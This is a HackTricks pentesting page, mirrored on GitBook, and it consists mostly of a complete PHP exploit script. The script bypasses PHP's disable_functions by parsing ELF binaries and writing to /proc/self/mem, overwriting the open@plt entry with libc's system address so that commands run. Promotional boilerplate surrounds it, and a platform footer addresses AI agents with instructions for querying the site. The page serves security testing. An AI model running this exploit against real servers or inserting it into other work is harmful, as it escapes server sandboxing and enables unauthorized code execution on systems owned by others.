> For the complete documentation index, see [llms.txt](https://breached.gitbook.io/dashboard/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://breached.gitbook.io/dashboard/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md).

# disable\_functions bypass - via mem

<details>

<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>

## via mem

From <http://blog.safebuff.com/2016/05/06/disable-functions-bypass/>

```php
<?php
/*
1. kernel>=2.68
2）PHP-CGI or PHP-FPM）因为mod_php并没有读取/proc/self/mem
3）代码针对x64编写，要用于x32需要更改
4）Open_basedir=off（或者能绕过open_basedir读写 /lib/ 和/proc/）
*/
/*
$libc_ver:
beched@linuxoid ~ $ php -r 'readfile("/proc/self/maps");' | grep libc
7f3dfa609000-7f3dfa7c4000 r-xp 00000000 08:01 9831386                    /lib/x86_64-linux-gnu/libc-2.19.so
$open_php:
beched@linuxoid ~ $ objdump -R /usr/bin/php | grep '\sopen$'
0000000000e94998 R_X86_64_JUMP_SLOT  open
$system_offset and $open_offset:
beched@linuxoid ~ $ readelf -s /lib/x86_64-linux-gnu/libc-2.19.so | egrep "\s(system|open)@@"
  1337: 0000000000046530    45 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.2.5
  1679: 00000000000ec150    90 FUNC    WEAK   DEFAULT   12 open@@GLIBC_2.2.5
*/
function packlli($value) {
    $higher = ($value & 0xffffffff00000000) >> 32;
    $lower = $value & 0x00000000ffffffff;
    return pack('V2', $lower, $higher);
}
function unp($value) {
    return hexdec(bin2hex(strrev($value)));
}
function parseelf($bin_ver, $rela = false) {
    $bin = file_get_contents($bin_ver);
    $e_shoff = unp(substr($bin, 0x28, 8));
    $e_shentsize = unp(substr($bin, 0x3a, 2));
    $e_shnum = unp(substr($bin, 0x3c, 2));
    $e_shstrndx = unp(substr($bin, 0x3e, 2));
    for($i = 0; $i < $e_shnum; $i += 1) {
        $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
        if($sh_type == 11) { // SHT_DYNSYM
            $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
            $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
        }
        elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
            $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
        }
        elseif($rela && $sh_type == 4) { // SHT_RELA
            $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
            $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
        }
    }
    if($rela) {
        for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
            $r_offset = unp(substr($bin, $i, 8));
            $r_info = unp(substr($bin, $i + 8, 8)) >> 32;
            $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
            $name = '';
            $j = $strtab_off + $name_off - 1;
            while($bin[++$j] != "\0") {
                $name .= $bin[$j];
            }
            if($name == 'open') {
                return $r_offset;
            }
        }
    }
    else {
        for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
            $name_off = unp(substr($bin, $i, 4));
            $name = '';
            $j = $strtab_off + $name_off - 1;
            while($bin[++$j] != "\0") {
                $name .= $bin[$j];
            }
            if($name == '__libc_system') {
                $system_offset = unp(substr($bin, $i + 8, 8));
            }
            if($name == '__open') {
                $open_offset = unp(substr($bin, $i + 8, 8));
            }
        }
        return array($system_offset, $open_offset);
    }
}
echo "[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)\n";
if(strpos(php_uname('a'), 'x86_64') === false) {
    echo "[-] This exploit is for x64 Linux. Exiting\n";
    exit;
}
if(substr(php_uname('r'), 0, 4) < 2.98) {
    echo "[-] Too old kernel (< 2.98). Might not work\n";
}
echo "[*] Trying to get open@plt offset in PHP binary\n";
$open_php = parseelf('/proc/self/exe', true);
if($open_php == 0) {
    echo "[-] Failed. Exiting\n";
    exit;
}
echo '[+] Offset is 0x' . dechex($open_php) . "\n";
$maps = file_get_contents('/proc/self/maps');
preg_match('#\s+(/.+libc\-.+)#', $maps, $r);
echo "[*] Libc location: $r[1]\n";
echo "[*] Trying to get open and system symbols from Libc\n";
list($system_offset, $open_offset) = parseelf($r[1]);
if($system_offset == 0 or $open_offset == 0) {
    echo "[-] Failed. Exiting\n";
    exit;
}
echo "[+] Got them. Seeking for address in memory\n";
$mem = fopen('/proc/self/mem', 'rb');
fseek($mem, $open_php);
$open_addr = unp(fread($mem, 8));
echo '[*] open@plt addr: 0x' . dechex($open_addr) . "\n";
$libc_start = $open_addr - $open_offset;
$system_addr = $libc_start + $system_offset;
echo '[*] system@plt addr: 0x' . dechex($system_addr) . "\n";
echo "[*] Rewriting open@plt address\n";
$mem = fopen('/proc/self/mem', 'wb');
fseek($mem, $open_php);
if(fwrite($mem, packlli($system_addr))) {
    echo "[+] Address written. Executing cmd\n";
    readfile('/usr/bin/id');
    exit;
}
echo "[-] Write failed. Exiting\n";
```

<details>

<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://breached.gitbook.io/dashboard/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.